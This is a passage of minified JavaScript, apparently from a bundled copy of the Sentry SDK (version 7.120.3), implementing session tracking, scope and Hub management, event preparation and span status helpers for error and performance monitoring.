if(A.status==="ok")q={status:"exited"};XB1(A,q)}function Buq(A){return PvA.dropUndefinedKeys({sid:`${A.sid}`,init:A.init,started:new Date(A.started*1000).toISOString(),timestamp:new Date(A.timestamp*1000).toISOString(),status:A.status,errors:A.errors,did:typeof A.did==="number"||typeof A.did==="string"?`${A.did}`:void 0,duration:A.duration,abnormal_mechanism:A.abnormal_mechanism,attrs:{release:A.release,environment:A.environment,ip_address:A.ipAddress,user_agent:A.userAgent}})}WM8.closeSession=uuq;WM8.makeSession=xuq;WM8.updateSession=XB1});var qV=v((VM8)=>{Object.defineProperty(VM8,"__esModule",{value:!0});var $B1=H8(),Quq=0,jM8=1;function Uuq(A){let{spanId:K,traceId:q}=A.spanContext(),{data:Y,op:z,parent_span_id:w,status:H,tags:J,origin:O}=MM8(A);return $B1.dropUndefinedKeys({data:Y,op:z,parent_span_id:w,span_id:K,status:H,tags:J,trace_id:q,origin:O})}function puq(A){let{traceId:K,spanId:q}=A.spanContext(),Y=PM8(A);return $B1.generateSentryTraceHeader(K,q,Y)}function duq(A){if(typeof A==="number")return DM8(A);if(Array.isArray(A))return A[0]+A[1]/1e9;if(A instanceof Date)return DM8(A.getTime());return $B1.timestampInSeconds()}function DM8(A){return A>9999999999?A/1000:A}function MM8(A){if(cuq(A))return A.getSpanJSON();if(typeof A.toJSON==="function")return A.toJSON();return{}}function cuq(A){return typeof A.getSpanJSON==="function"}function PM8(A){let{traceFlags:K}=A.spanContext();return Boolean(K&jM8)}VM8.TRACE_FLAG_NONE=Quq;VM8.TRACE_FLAG_SAMPLED=jM8;VM8.spanIsSampled=PM8;VM8.spanTimeInputToSeconds=duq;VM8.spanToJSON=MM8;VM8.spanToTraceContext=Uuq;VM8.spanToTraceHeader=puq});var IsA=v((EM8)=>{Object.defineProperty(EM8,"__esModule",{value:!0});var UN=H8(),tuq=OHA(),fM8=MvA(),GB1=hsA(),_B1=SsA(),euq=qV();function ABq(A,K,q,Y,z,w){let{normalizeDepth:H=3,normalizeMaxBreadth:J=1000}=A,O={...K,event_id:K.event_id||q.event_id||UN.uuid4(),timestamp:K.timestamp||UN.dateTimestampInSeconds()},X=q.integrations||A.integrations.map((j)=>j.name);if(KBq(O,A),qBq(O,X),K.type===void 0)TM8(O,A.stackParser);let $=zBq(Y,q.captureContext);if(q.mechanism)UN.addExceptionMechanism(O,q.mechanism);let _=z&&z.getEventProcessors?z.getEventProcessors():[],G=GB1.getGlobalScope().getScopeData();if(w){let j=w.getScopeData();_B1.mergeScopeData(G,j)}if($){let j=$.getScopeData();_B1.mergeScopeData(G,j)}let Z=[...q.attachments||[],...G.attachments];if(Z.length)q.attachments=Z;_B1.applyScopeDataToEvent(O,G);let W=[..._,...fM8.getGlobalEventProcessors(),...G.eventProcessors];return fM8.notifyEventProcessors(W,O,q).then((j)=>{if(j)vM8(j);if(typeof H==="number"&&H>0)return YBq(j,H,J);return j})}function KBq(A,K){let{environment:q,release:Y,dist:z,maxValueLength:w=250}=K;if(!("environment"in A))A.environment="environment"in K?q:tuq.DEFAULT_ENVIRONMENT;if(A.release===void 0&&Y!==void 0)A.release=Y;if(A.dist===void 0&&z!==void 0)A.dist=z;if(A.message)A.message=UN.truncate(A.message,w);let H=A.exception&&A.exception.values&&A.exception.values[0];if(H&&H.value)H.value=UN.truncate(H.value,w);let J=A.request;if(J&&J.url)J.url=UN.truncate(J.url,w)}var NM8=new WeakMap;function TM8(A,K){let q=UN.GLOBAL_OBJ._sentryDebugIds;if(!q)return;let Y,z=NM8.get(K);if(z)Y=z;else Y=new Map,NM8.set(K,Y);let w=Object.keys(q).reduce((H,J)=>{let O,X=Y.get(J);if(X)O=X;else O=K(J),Y.set(J,O);for(let $=O.length-1;$>=0;$--){let _=O[$];if(_.filename){H[_.filename]=q[J];break}}return H},{});try{A.exception.values.forEach((H)=>{H.stacktrace.frames.forEach((J)=>{if(J.filename)J.debug_id=w[J.filename]})})}catch(H){}}function vM8(A){let K={};try{A.exception.values.forEach((Y)=>{Y.stacktrace.frames.forEach((z)=>{if(z.debug_id){if(z.abs_path)K[z.abs_path]=z.debug_id;else if(z.filename)K[z.filename]=z.debug_id;delete z.debug_id}})})}catch(Y){}if(Object.keys(K).length===0)return;A.debug_meta=A.debug_meta||{},A.debug_meta.images=A.debug_meta.images||[];let q=A.debug_meta.images;Object.keys(K).forEach((Y)=>{q.push({type:"sourcemap",code_file:Y,debug_id:K[Y]})})}function qBq(A,K){if(K.length>0)A.sdk=A.sdk||{},A.sdk.integrations=[...A.sdk.integrations||[],...K]}function YBq(A,K,q){if(!A)return null;let Y={...A,...A.breadcrumbs&&{breadcrumbs:A.breadcrumbs.map((z)=>({...z,...z.data&&{data:UN.normalize(z.data,K,q)}}))},...A.user&&{user:UN.normalize(A.user,K,q)},...A.contexts&&{contexts:UN.normalize(A.contexts,K,q)},...A.extra&&{extra:UN.normalize(A.extra,K,q)}};if(A.contexts&&A.contexts.trace&&Y.contexts){if(Y.contexts.trace=A.contexts.trace,A.contexts.trace.data)Y.contexts.trace.data=UN.normalize(A.contexts.trace.data,K,q)}if(A.spans)Y.spans=A.spans.map((z)=>{let w=euq.spanToJSON(z).data;if(w)z.data=UN.normalize(w,K,q);return z});return Y}function zBq(A,K){if(!K)return A;let q=A?A.clone():new GB1.Scope;return q.update(K),q}function wBq(A){if(!A)return;if(HBq(A))return{captureContext:A};if(OBq(A))return{captureContext:A};return A}function HBq(A){return A instanceof GB1.Scope||typeof A==="function"}var JBq=["user","level","extra","contexts","tags","fingerprint","requestSession","propagationContext"];function OBq(A){return Object.keys(A).some((K)=>JBq.includes(K))}EM8.applyDebugIds=TM8;EM8.applyDebugMeta=vM8;EM8.parseEventHintOrCaptureContext=wBq;EM8.prepareEvent=ABq});var xE=v((LM8)=>{Object.defineProperty(LM8,"__esModule",{value:!0});var eg=H8(),ZBq=OHA(),bsA=FX(),Q0=Gb(),ZB1=XHA(),WBq=IsA();function DBq(A,K){return Q0.getCurrentHub().captureException(A,WBq.parseEventHintOrCaptureContext(K))}function jBq(A,K){let q=typeof K==="string"?K:void 0,Y=typeof K!=="string"?{captureContext:K}:void 0;return Q0.getCurrentHub().captureMessage(A,q,Y)}function MBq(A,K){return Q0.getCurrentHub().captureEvent(A,K)}function PBq(A){Q0.getCurrentHub().configureScope(A)}function VBq(A,K){Q0.getCurrentHub().addBreadcrumb(A,K)}function fBq(A,K){Q0.getCurrentHub().setContext(A,K)}function NBq(A){Q0.getCurrentHub().setExtras(A)}function TBq(A,K){Q0.getCurrentHub().setExtra(A,K)}function vBq(A){Q0.getCurrentHub().setTags(A)}function EBq(A,K){Q0.getCurrentHub().setTag(A,K)}function kBq(A){Q0.getCurrentHub().setUser(A)}function kM8(...A){let K=Q0.getCurrentHub();if(A.length===2){let[q,Y]=A;if(!q)return K.withScope(Y);return K.withScope(()=>{return K.getStackTop().scope=q,Y(q)})}return K.withScope(A[0])}function CBq(A){return Q0.runWithAsyncContext(()=>{return A(Q0.getIsolationScope())})}function LBq(A,K){return kM8((q)=>{return q.setSpan(A),K(q)})}function RBq(A,K){return Q0.getCurrentHub().startTransaction({...A},K)}function WB1(A,K){let q=VvA(),Y=i1A();if(!Y)bsA.DEBUG_BUILD&&eg.logger.warn("Cannot capture check-in. No client defined.");else if(!Y.captureCheckIn)bsA.DEBUG_BUILD&&eg.logger.warn("Cannot capture check-in. Client does not support sending check-ins.");else return Y.captureCheckIn(A,K,q);return eg.uuid4()}function yBq(A,K,q){let Y=WB1({monitorSlug:A,status:"in_progress"},q),z=eg.timestampInSeconds();function w(J){WB1({monitorSlug:A,status:J,checkInId:Y,duration:eg.timestampInSeconds()-z})}let H;try{H=K()}catch(J){throw w("error"),J}if(eg.isThenable(H))Promise.resolve(H).then(()=>{w("ok")},()=>{w("error")});else w("ok");return H}async function IBq(A){let K=i1A();if(K)return K.flush(A);return bsA.DEBUG_BUILD&&eg.logger.warn("Cannot flush events. No client defined."),Promise.resolve(!1)}async function SBq(A){let K=i1A();if(K)return K.close(A);return bsA.DEBUG_BUILD&&eg.logger.warn("Cannot flush events and disable SDK. No client defined."),Promise.resolve(!1)}function hBq(){return Q0.getCurrentHub().lastEventId()}function i1A(){return Q0.getCurrentHub().getClient()}function bBq(){return!!i1A()}function VvA(){return Q0.getCurrentHub().getScope()}function xBq(A){let K=i1A(),q=Q0.getIsolationScope(),Y=VvA(),{release:z,environment:w=ZBq.DEFAULT_ENVIRONMENT}=K&&K.getOptions()||{},{userAgent:H}=eg.GLOBAL_OBJ.navigator||{},J=ZB1.makeSession({release:z,environment:w,user:Y.getUser()||q.getUser(),...H&&{userAgent:H},...A}),O=q.getSession();if(O&&O.status==="ok")ZB1.updateSession(O,{status:"exited"});return DB1(),q.setSession(J),Y.setSession(J),J}function DB1(){let A=Q0.getIsolationScope(),K=VvA(),q=K.getSession()||A.getSession();if(q)ZB1.closeSession(q);CM8(),A.setSession(),K.setSession()}function CM8(){let A=Q0.getIsolationScope(),K=VvA(),q=i1A(),Y=K.getSession()||A.getSession();if(Y&&q&&q.captureSession)q.captureSession(Y)}function uBq(A=!1){if(A){DB1();return}CM8()}LM8.addBreadcrumb=VBq;LM8.captureCheckIn=WB1;LM8.captureEvent=MBq;LM8.captureException=DBq;LM8.captureMessage=jBq;LM8.captureSession=uBq;LM8.close=SBq;LM8.configureScope=PBq;LM8.endSession=DB1;LM8.flush=IBq;LM8.getClient=i1A;LM8.getCurrentScope=VvA;LM8.isInitialized=bBq;LM8.lastEventId=hBq;LM8.setContext=fBq;LM8.setExtra=TBq;LM8.setExtras=NBq;LM8.setTag=EBq;LM8.setTags=vBq;LM8.setUser=kBq;LM8.startSession=xBq;LM8.startTransaction=RBq;LM8.withActiveSpan=LBq;LM8.withIsolationScope=CBq;LM8.withMonitor=yBq;LM8.withScope=kM8});var $HA=v((RM8)=>{Object.defineProperty(RM8,"__esModule",{value:!0});function Omq(A){return A.transaction}RM8.getRootSpan=Omq});var n1A=v((SM8)=>{Object.defineProperty(SM8,"__esModule",{value:!0});var $mq=H8(),_mq=OHA(),yM8=xE(),Gmq=$HA(),jB1=qV();function IM8(A,K,q){let Y=K.getOptions(),{publicKey:z}=K.getDsn()||{},{segment:w}=q&&q.getUser()||{},H=$mq.dropUndefinedKeys({environment:Y.environment||_mq.DEFAULT_ENVIRONMENT,release:Y.release,user_segment:w,public_key:z,trace_id:A});return K.emit&&K.emit("createDsc",H),H}function Zmq(A){let K=yM8.getClient();if(!K)return{};let q=IM8(jB1.spanToJSON(A).trace_id||"",K,yM8.getCurrentScope()),Y=Gmq.getRootSpan(A);if(!Y)return q;let z=Y&&Y._frozenDynamicSamplingContext;if(z)return z;let{sampleRate:w,source:H}=Y.metadata;if(w!=null)q.sample_rate=`${w}`;let J=jB1.spanToJSON(Y);if(H&&H!=="url")q.transaction=J.description;return q.sampled=String(jB1.spanIsSampled(Y)),K.emit&&K.emit("createDsc",q),q}SM8.getDynamicSamplingContextFromClient=IM8;SM8.getDynamicSamplingContextFromSpan=Zmq});var SsA=v((bM8)=>{Object.defineProperty(bM8,"__esModule",{value:!0});var fvA=H8(),jmq=n1A(),Mmq=$HA(),hM8=qV();function Pmq(A,K){let{fingerprint:q,span:Y,breadcrumbs:z,sdkProcessingMetadata:w}=K;if(fmq(A,K),Y)vmq(A,Y);Emq(A,q),Nmq(A,z),Tmq(A,w)}function Vmq(A,K){let{extra:q,tags:Y,user:z,contexts:w,level:H,sdkProcessingMetadata:J,breadcrumbs:O,fingerprint:X,eventProcessors:$,attachments:_,propagationContext:G,transactionName:Z,span:W}=K;if(_HA(A,"extra",q),_HA(A,"tags",Y),_HA(A,"user",z),_HA(A,"contexts",w),_HA(A,"sdkProcessingMetadata",J),H)A.level=H;if(Z)A.transactionName=Z;if(W)A.span=W;if(O.length)A.breadcrumbs=[...A.breadcrumbs,...O];if(X.length)A.fingerprint=[...A.fingerprint,...X];if($.length)A.eventProcessors=[...A.eventProcessors,...$];if(_.length)A.attachments=[...A.attachments,..._];A.propagationContext={...A.propagationContext,...G}}function _HA(A,K,q){if(q&&Object.keys(q).length){A[K]={...A[K]};for(let Y in q)if(Object.prototype.hasOwnProperty.call(q,Y))A[K][Y]=q[Y]}}function fmq(A,K){let{extra:q,tags:Y,user:z,contexts:w,level:H,transactionName:J}=K,O=fvA.dropUndefinedKeys(q);if(O&&Object.keys(O).length)A.extra={...O,...A.extra};let X=fvA.dropUndefinedKeys(Y);if(X&&Object.keys(X).length)A.tags={...X,...A.tags};let $=fvA.dropUndefinedKeys(z);if($&&Object.keys($).length)A.user={...$,...A.user};let _=fvA.dropUndefinedKeys(w);if(_&&Object.keys(_).length)A.contexts={..._,...A.contexts};if(H)A.level=H;if(J)A.transaction=J}function Nmq(A,K){let q=[...A.breadcrumbs||[],...K];A.breadcrumbs=q.length?q:void 0}function Tmq(A,K){A.sdkProcessingMetadata={...A.sdkProcessingMetadata,...K}}function vmq(A,K){A.contexts={trace:hM8.spanToTraceContext(K),...A.contexts};let q=Mmq.getRootSpan(K);if(q){A.sdkProcessingMetadata={dynamicSamplingContext:jmq.getDynamicSamplingContextFromSpan(K),...A.sdkProcessingMetadata};let Y=hM8.spanToJSON(q).description;if(Y)A.tags={transaction:Y,...A.tags}}}function Emq(A,K){if(A.fingerprint=A.fingerprint?fvA.arrayify(A.fingerprint):[],K)A.fingerprint=A.fingerprint.concat(K);if(A.fingerprint&&!A.fingerprint.length)delete A.fingerprint}bM8.applyScopeDataToEvent=Pmq;bM8.mergeAndOverwriteScopeData=_HA;bM8.mergeScopeData=Vmq});var hsA=v((BM8)=>{Object.defineProperty(BM8,"__esModule",{value:!0});var Zb=H8(),xM8=MvA(),Rmq=XHA(),ymq=SsA(),Imq=100,xsA;class GHA{constructor(){this._notifyingListeners=!1,this._scopeListeners=[],this._eventProcessors=[],this._breadcrumbs=[],this._attachments=[],this._user={},this._tags={},this._extra={},this._contexts={},this._sdkProcessingMetadata={},this._propagationContext=uM8()}static clone(A){return A?A.clone():new GHA}clone(){let A=new GHA;return A._breadcrumbs=[...this._breadcrumbs],A._tags={...this._tags},A._extra={...this._extra},A._contexts={...this._contexts},A._user=this._user,A._level=this._level,A._span=this._span,A._session=this._session,A._transactionName=this._transactionName,A._fingerprint=this._fingerprint,A._eventProcessors=[...this._eventProcessors],A._requestSession=this._requestSession,A._attachments=[...this._attachments],A._sdkProcessingMetadata={...this._sdkProcessingMetadata},A._propagationContext={...this._propagationContext},A._client=this._client,A}setClient(A){this._client=A}getClient(){return this._client}addScopeListener(A){this._scopeListeners.push(A)}addEventProcessor(A){return this._eventProcessors.push(A),this}setUser(A){if(this._user=A||{email:void 0,id:void 0,ip_address:void 0,segment:void 0,username:void 0},this._session)Rmq.updateSession(this._session,{user:A});return this._notifyScopeListeners(),this}getUser(){return this._user}getRequestSession(){return this._requestSession}setRequestSession(A){return this._requestSession=A,this}setTags(A){return this._tags={...this._tags,...A},this._notifyScopeListeners(),this}setTag(A,K){return this._tags={...this._tags,[A]:K},this._notifyScopeListeners(),this}setExtras(A){return this._extra={...this._extra,...A},this._notifyScopeListeners(),this}setExtra(A,K){return this._extra={...this._extra,[A]:K},this._notifyScopeListeners(),this}setFingerprint(A){return this._fingerprint=A,this._notifyScopeListeners(),this}setLevel(A){return this._level=A,this._notifyScopeListeners(),this}setTransactionName(A){return this._transactionName=A,this._notifyScopeListeners(),this}setContext(A,K){if(K===null)delete this._contexts[A];else this._contexts[A]=K;return this._notifyScopeListeners(),this}setSpan(A){return this._span=A,this._notifyScopeListeners(),this}getSpan(){return this._span}getTransaction(){let A=this._span;return A&&A.transaction}setSession(A){if(!A)delete this._session;else this._session=A;return this._notifyScopeListeners(),this}getSession(){return this._session}update(A){if(!A)return this;let K=typeof A==="function"?A(this):A;if(K instanceof GHA){let q=K.getScopeData();if(this._tags={...this._tags,...q.tags},this._extra={...this._extra,...q.extra},this._contexts={...this._contexts,...q.contexts},q.user&&Object.keys(q.user).length)this._user=q.user;if(q.level)this._level=q.level;if(q.fingerprint.length)this._fingerprint=q.fingerprint;if(K.getRequestSession())this._requestSession=K.getRequestSession();if(q.propagationContext)this._propagationContext=q.propagationContext}else if(Zb.isPlainObject(K)){let q=A;if(this._tags={...this._tags,...q.tags},this._extra={...this._extra,...q.extra},this._contexts={...this._contexts,...q.contexts},q.user)this._user=q.user;if(q.level)this._level=q.level;if(q.fingerprint)this._fingerprint=q.fingerprint;if(q.requestSession)this._requestSession=q.requestSession;if(q.propagationContext)this._propagationContext=q.propagationContext}return this}clear(){return this._breadcrumbs=[],this._tags={},this._extra={},this._user={},this._contexts={},this._level=void 0,this._transactionName=void 0,this._fingerprint=void 0,this._requestSession=void 0,this._span=void 0,this._session=void 0,this._notifyScopeListeners(),this._attachments=[],this._propagationContext=uM8(),this}addBreadcrumb(A,K){let q=typeof K==="number"?K:Imq;if(q<=0)return this;let Y={timestamp:Zb.dateTimestampInSeconds(),...A},z=this._breadcrumbs;return z.push(Y),this._breadcrumbs=z.length>q?z.slice(-q):z,this._notifyScopeListeners(),this}getLastBreadcrumb(){return this._breadcrumbs[this._breadcrumbs.length-1]}clearBreadcrumbs(){return this._breadcrumbs=[],this._notifyScopeListeners(),this}addAttachment(A){return this._attachments.push(A),this}getAttachments(){return this.getScopeData().attachments}clearAttachments(){return this._attachments=[],this}getScopeData(){let{_breadcrumbs:A,_attachments:K,_contexts:q,_tags:Y,_extra:z,_user:w,_level:H,_fingerprint:J,_eventProcessors:O,_propagationContext:X,_sdkProcessingMetadata:$,_transactionName:_,_span:G}=this;return{breadcrumbs:A,attachments:K,contexts:q,tags:Y,extra:z,user:w,level:H,fingerprint:J||[],eventProcessors:O,propagationContext:X,sdkProcessingMetadata:$,transactionName:_,span:G}}applyToEvent(A,K={},q=[]){ymq.applyScopeDataToEvent(A,this.getScopeData());let Y=[...q,...xM8.getGlobalEventProcessors(),...this._eventProcessors];return xM8.notifyEventProcessors(Y,A,K)}setSDKProcessingMetadata(A){return this._sdkProcessingMetadata={...this._sdkProcessingMetadata,...A},this}setPropagationContext(A){return this._propagationContext=A,this}getPropagationContext(){return this._propagationContext}captureException(A,K){let q=K&&K.event_id?K.event_id:Zb.uuid4();if(!this._client)return Zb.logger.warn("No client configured on scope - will not capture exception!"),q;let Y=Error("Sentry syntheticException");return this._client.captureException(A,{originalException:A,syntheticException:Y,...K,event_id:q},this),q}captureMessage(A,K,q){let Y=q&&q.event_id?q.event_id:Zb.uuid4();if(!this._client)return Zb.logger.warn("No client configured on scope - will not capture message!"),Y;let z=Error(A);return this._client.captureMessage(A,K,{originalException:A,syntheticException:z,...q,event_id:Y},this),Y}captureEvent(A,K){let q=K&&K.event_id?K.event_id:Zb.uuid4();if(!this._client)return Zb.logger.warn("No client configured on scope - will not capture event!"),q;return this._client.captureEvent(A,{...K,event_id:q},this),q}_notifyScopeListeners(){if(!this._notifyingListeners)this._notifyingListeners=!0,this._scopeListeners.forEach((A)=>{A(this)}),this._notifyingListeners=!1}}function Smq(){if(!xsA)xsA=new GHA;return xsA}function hmq(A){xsA=A}function uM8(){return{traceId:Zb.uuid4(),spanId:Zb.uuid4().substring(16)}}BM8.Scope=GHA;BM8.getGlobalScope=Smq;BM8.setGlobalScope=hmq});var usA=v((mM8)=>{Object.defineProperty(mM8,"__esModule",{value:!0});var Bmq="7.120.3";mM8.SDK_VERSION=Bmq});var Gb=v((pM8)=>{Object.defineProperty(pM8,"__esModule",{value:!0});var lj=H8(),gmq=OHA(),MB1=FX(),gM8=hsA(),PB1=XHA(),Fmq=usA(),BsA=parseFloat(Fmq.SDK_VERSION),Qmq=100;class TvA{constructor(A,K,q,Y=BsA){this._version=Y;let z;if(!K)z=new gM8.Scope,z.setClient(A);else z=K;let w;if(!q)w=new gM8.Scope,w.setClient(A);else w=q;if(this._stack=[{scope:z}],A)this.bindClient(A);this._isolationScope=w}isOlderThan(A){return this._version<A}bindClient(A){let K=this.getStackTop();if(K.client=A,K.scope.setClient(A),A&&A.setupIntegrations)A.setupIntegrations()}pushScope(){let A=this.getScope().clone();return this.getStack().push({client:this.getClient(),scope:A}),A}popScope(){if(this.getStack().length<=1)return!1;return!!this.getStack().pop()}withScope(A){let K=this.pushScope(),q;try{q=A(K)}catch(Y){throw this.popScope(),Y}if(lj.isThenable(q))return q.then((Y)=>{return this.popScope(),Y},(Y)=>{throw this.popScope(),Y});return this.popScope(),q}getClient(){return this.getStackTop().client}getScope(){return this.getStackTop().scope}getIsolationScope(){return this._isolationScope}getStack(){return this._stack}getStackTop(){return this._stack[this._stack.length-1]}captureException(A,K){let q=this._lastEventId=K&&K.event_id?K.event_id:lj.uuid4(),Y=Error("Sentry syntheticException");return this.getScope().captureException(A,{originalException:A,syntheticException:Y,...K,event_id:q}),q}captureMessage(A,K,q){let Y=this._lastEventId=q&&q.event_id?q.event_id:lj.uuid4(),z=Error(A);return this.getScope().captureMessage(A,K,{originalException:A,syntheticException:z,...q,event_id:Y}),Y}captureEvent(A,K){let q=K&&K.event_id?K.event_id:lj.uuid4();if(!A.type)this._lastEventId=q;return this.getScope().captureEvent(A,{...K,event_id:q}),q}lastEventId(){return this._lastEventId}addBreadcrumb(A,K){let{scope:q,client:Y}=this.getStackTop();if(!Y)return;let{beforeBreadcrumb:z=null,maxBreadcrumbs:w=Qmq}=Y.getOptions&&Y.getOptions()||{};if(w<=0)return;let J={timestamp:lj.dateTimestampInSeconds(),...A},O=z?lj.consoleSandbox(()=>z(J,K)):J;if(O===null)return;if(Y.emit)Y.emit("beforeAddBreadcrumb",O,K);q.addBreadcrumb(O,w)}setUser(A){this.getScope().setUser(A),this.getIsolationScope().setUser(A)}setTags(A){this.getScope().setTags(A),this.getIsolationScope().setTags(A)}setExtras(A){this.getScope().setExtras(A),this.getIsolationScope().setExtras(A)}setTag(A,K){this.getScope().setTag(A,K),this.getIsolationScope().setTag(A,K)}setExtra(A,K){this.getScope().setExtra(A,K),this.getIsolationScope().setExtra(A,K)}setContext(A,K){this.getScope().setContext(A,K),this.getIsolationScope().setContext(A,K)}configureScope(A){let{scope:K,client:q}=this.getStackTop();if(q)A(K)}run(A){let K=VB1(this);try{A(this)}finally{VB1(K)}}getIntegration(A){let K=this.getClient();if(!K)return null;try{return K.getIntegration(A)}catch(q){return MB1.DEBUG_BUILD&&lj.logger.warn(`Cannot retrieve integration ${A.id} from the current Hub`),null}}startTransaction(A,K){let q=this._callExtensionMethod("startTransaction",A,K);if(MB1.DEBUG_BUILD&&!q)if(!this.getClient())lj.logger.warn("Tracing extension 'startTransaction' is missing. You should 'init' the SDK before calling 'startTransaction'");else lj.logger.warn(`Tracing extension 'startTransaction' has not been added. Call 'addTracingExtensions' before calling 'init': Sentry.addTracingExtensions(); Sentry.init({...}); `);return q}traceHeaders(){return this._callExtensionMethod("traceHeaders")}captureSession(A=!1){if(A)return this.endSession();this._sendSessionUpdate()}endSession(){let K=this.getStackTop().scope,q=K.getSession();if(q)PB1.closeSession(q);this._sendSessionUpdate(),K.setSession()}startSession(A){let{scope:K,client:q}=this.getStackTop(),{release:Y,environment:z=gmq.DEFAULT_ENVIRONMENT}=q&&q.getOptions()||{},{userAgent:w}=lj.GLOBAL_OBJ.navigator||{},H=PB1.makeSession({release:Y,environment:z,user:K.getUser(),...w&&{userAgent:w},...A}),J=K.getSession&&K.getSession();if(J&&J.status==="ok")PB1.updateSession(J,{status:"exited"});return this.endSession(),K.setSession(H),H}shouldSendDefaultPii(){let A=this.getClient(),K=A&&A.getOptions();return Boolean(K&&K.sendDefaultPii)}_sendSessionUpdate(){let{scope:A,client:K}=this.getStackTop(),q=A.getSession();if(q&&K&&K.captureSession)K.captureSession(q)}_callExtensionMethod(A,...K){let Y=r1A().__SENTRY__;if(Y&&Y.extensions&&typeof Y.extensions[A]==="function")return Y.extensions[A].apply(this,K);MB1.DEBUG_BUILD&&lj.logger.warn(`Extension method ${A} couldn't be found, doing nothing.`)}}function r1A(){return lj.GLOBAL_OBJ.__SENTRY__=lj.GLOBAL_OBJ.__SENTRY__||{extensions:{},hub:void 0},lj.GLOBAL_OBJ}function VB1(A){let K=r1A(),q=NvA(K);return msA(K,A),q}function FM8(){let A=r1A();if(A.__SENTRY__&&A.__SENTRY__.acs){let K=A.__SENTRY__.acs.getCurrentHub();if(K)return K}return QM8(A)}function Umq(){return FM8().getIsolationScope()}function QM8(A=r1A()){if(!UM8(A)||NvA(A).isOlderThan(BsA))msA(A,new TvA);return NvA(A)}function pmq(A,K=QM8()){if(!UM8(A)||NvA(A).isOlderThan(BsA)){let q=K.getClient(),Y=K.getScope(),z=K.getIsolationScope();msA(A,new TvA(q,Y.clone(),z.clone()))}}function dmq(A){let K=r1A();K.__SENTRY__=K.__SENTRY__||{},K.__SENTRY__.acs=A}function cmq(A,K={}){let q=r1A();if(q.__SENTRY__&&q.__SENTRY__.acs)return q.__SENTRY__.acs.runWithAsyncContext(A,K);return A()}function UM8(A){return!!(A&&A.__SENTRY__&&A.__SENTRY__.hub)}function NvA(A){return lj.getGlobalSingleton("hub",()=>new TvA,A)}function msA(A,K){if(!A)return!1;let q=A.__SENTRY__=A.__SENTRY__||{};return q.hub=K,!0}pM8.API_VERSION=BsA;pM8.Hub=TvA;pM8.ensureHubOnCarrier=pmq;pM8.getCurrentHub=FM8;pM8.getHubFromCarrier=NvA;pM8.getIsolationScope=Umq;pM8.getMainCarrier=r1A;pM8.makeMain=VB1;pM8.runWithAsyncContext=cmq;pM8.setAsyncContextStrategy=dmq;pM8.setHubOnCarrier=msA});var gsA=v((cM8)=>{Object.defineProperty(cM8,"__esModule",{value:!0});var dM8=H8(),qgq=Gb();function Ygq(A){return(A||qgq.getCurrentHub()).getScope().getTransaction()}var zgq=dM8.extractTraceparentData;cM8.stripUrlQueryAndFragment=dM8.stripUrlQueryAndFragment;cM8.extractTraceparentData=zgq;cM8.getActiveTransaction=Ygq});var FsA=v((iM8)=>{Object.defineProperty(iM8,"__esModule",{value:!0});var fB1=H8(),Ogq=FX(),Xgq=gsA(),lM8=!1;function $gq(){if(lM8)return;lM8=!0,fB1.addGlobalErrorInstrumentationHandler(NB1),fB1.addGlobalUnhandledRejectionInstrumentationHandler(NB1)}function NB1(){let A=Xgq.getActiveTransaction();if(A)Ogq.DEBUG_BUILD&&fB1.logger.log("[Tracing] Transaction: internal_error -> Global error occured"),A.setStatus("internal_error")}NB1.tag="sentry_tracingErrorCallback";iM8.registerErrorInstrumentation=$gq});var ZHA=v((nM8)=>{Object.defineProperty(nM8,"__esModule",{value:!0});nM8.SpanStatus=void 0;(function(A){A.Ok="ok";let q="deadline_exceeded";A.DeadlineExceeded=q;let Y="unauthenticated";A.Unauthenticated=Y;let z="permission_denied";A.PermissionDenied=z;let w="not_found";A.NotFound=w;let H="resource_exhausted";A.ResourceExhausted=H;let J="invalid_argument";A.InvalidArgument=J;let O="unimplemented";A.Unimplemented=O;let X="unavailable";A.Unavailable=X;let $="internal_error";A.InternalError=$;let _="unknown_error";A.UnknownError=_;let G="cancelled";A.Cancelled=G;let Z="already_exists";A.AlreadyExists=Z;let W="failed_precondition";A.FailedPrecondition=W;let D="aborted";A.Aborted=D;let j="out_of_range";A.OutOfRange=j;let M="data_loss";A.DataLoss=M})(nM8.SpanStatus||(nM8.SpanStatus={}));function vB1(A){if(A<400&&A>=100)return"ok";if(A>=400&&A<500)switch(A){case 401:return"unauthenticated";case 403:return"permission_denied";case 404:return"not_found";case 409:return"already_exists";case 413:return"failed_precondition";case 429:return"resource_exhausted";default:return"invalid_argument"}if(A>=500&&A<600)switch(A){case 501:return"unimplemented";case 503:return"unavailable";case 504:return"deadline_exceeded";default:return"internal_error"}return"unknown_error"}var Ggq=vB1;function Zgq(A,K){A.setTag("http.status_code",String(K)),A.setData("http.response.status_code",K);let q=vB1(K);if(q!=="unknown_error")A.setStatus(q)}nM8.getSpanStatusFromHttpCode=vB1;nM8.setHttpStatus=Zgq;nM8.spanStatusfromHttpCode=Ggq});var EB1=v((rM8)=>{Object.defineProperty(rM8,"__esModule",{value:!0});var Mgq=H8();function Pgq(A,K,q=()=>{}){let Y;try{Y=A()}catch(z){throw K(z),q(),z}return Vgq(Y,K,q)}function Vgq(A,K,q){if(Mgq.isThenable(A))return A.then((Y)=>{return q(),Y},(Y)=>{throw K(Y),q(),Y});return q(),A}rM8.handleCallbackErrors=Pgq});var QsA=v((oM8)=>{Object.defineProperty(oM8,"__esModule",{value:!0});var Ngq=xE();function Tgq(A){if(typeof __SENTRY_TRACING__==="boolean"&&!__SENTRY_TRACING__)return!1;let K=Ngq.getClient(),q=A||K&&K.getOptions();return!!q&&(q.enableTracing||("tracesSampleRate"in q)||("tracesSampler"in q))}oM8.hasTracingEnabled=Tgq});var csA=v((KP8)=>{Object.defineProperty(KP8,"__esModule",{value:!0});var vvA=H8(),Egq=FX(),_i=Gb(),UsA=qV();FsA();ZHA();var kgq=n1A(),WHA=xE(),kB1=EB1(),aM8=QsA();function Cgq(A,K,q=()=>{},Y=()=>{}){let z=_i.getCurrentHub(),w=WHA.getCurrentScope(),H=w.getSpan(),J=dsA(A),O=psA(z,{parentSpan:H,spanContext:J,forceTransaction:!1,scope:w});return w.setSpan(O),kB1.handleCallbackErrors(()=>K(O),(X)=>{O&&O.setStatus("internal_error"),q(X,O)},()=>{O&&O.end(),w.setSpan(H),Y()})}function sM8(A,K){let q=dsA(A);return _i.runWithAsyncContext(()=>{return WHA.withScope(A.scope,(Y)=>{let z=_i.getCurrentHub(),w=Y.getSpan(),J=A.onlyIfParent&&!w?void 0:psA(z,{parentSpan:w,spanContext:q,forceTransaction:A.forceTransaction,scope:Y});return 